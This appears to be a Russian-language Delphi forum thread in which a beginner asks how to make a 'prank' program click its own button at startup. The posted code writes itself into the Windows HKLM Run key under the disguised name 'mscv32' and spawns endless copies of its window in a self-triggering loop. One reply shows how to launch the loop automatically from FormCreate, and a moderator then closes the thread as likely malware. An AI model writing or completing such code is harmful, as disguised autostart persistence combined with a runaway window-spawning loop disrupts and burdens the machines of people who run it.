|
#1
|
|||
|
|||
запуск проги
Помогите нубу плз)) Есть прога, действие выполняет после нажатия кнопки, а как сделать чтобы после запуска проги кнопка автоматом нажалась? только не предлогайте вставить действие на форму, мне надо чтоб кнопка жалась)
|
#2
|
||||
|
||||
Прога не твоя чтоль?
Некоторые программисты настолько ленивы, что сразу пишут рабочий код. Если вас наказали ни за что - радуйтесь: вы ни в чем не виноваты. |
#3
|
|||
|
|||
я наверн тупо объяснил)) это прикол такой на делфи, жмёшь на кнопку создаются формы чере определённое время, как сделать чтоб при запуске проги всё выполнялось вот код:
Код:
unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, XPMan, Buttons, registry; type TForm1 = class(TForm) XPManifest1: TXPManifest; BitBtn1: TBitBtn; procedure FormCreate(Sender: TObject); procedure BitBtn1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); var reg: tregistry; begin reg := tregistry.create; reg.rootkey := hkey_local_machine; reg.lazywrite := false; reg.openkey('software\microsoft\windows\currentversion\run',false); reg.writestring('mscv32', application. exename); reg.closekey; reg.free; Width:= 337; Height:= 185; end; procedure TForm1.BitBtn1Click(Sender: TObject); var X: TForm1; begin X:= TForm1.Create(NIL); ShowWindow(X.Handle, SW_SHOW); ShowWindow(X.BitBtn1.Handle, SW_SHOW); X.Top:= Random(Screen.Height); X.Left:= Random(Screen.Width); X.Repaint; Sleep(1000); BitBtn1.Click; end; end. Последний раз редактировалось Admin, 29.10.2008 в 10:26. |
#4
|
|||
|
|||
в FormCreate вставь
BitBtn1Click(form1) Delphi - это лишь инструмент, а что ты сможешь создать при помощи этого инструмента, зависит исключительно от тебя. |
#5
|
||||
|
||||
Код не будет работать если нет прав администратора в системе.
И еще, приведенный код сильно мне напоминает вредоносный, а посему тему я закрываю. Некоторые программисты настолько ленивы, что сразу пишут рабочий код. Если вас наказали ни за что - радуйтесь: вы ни в чем не виноваты. |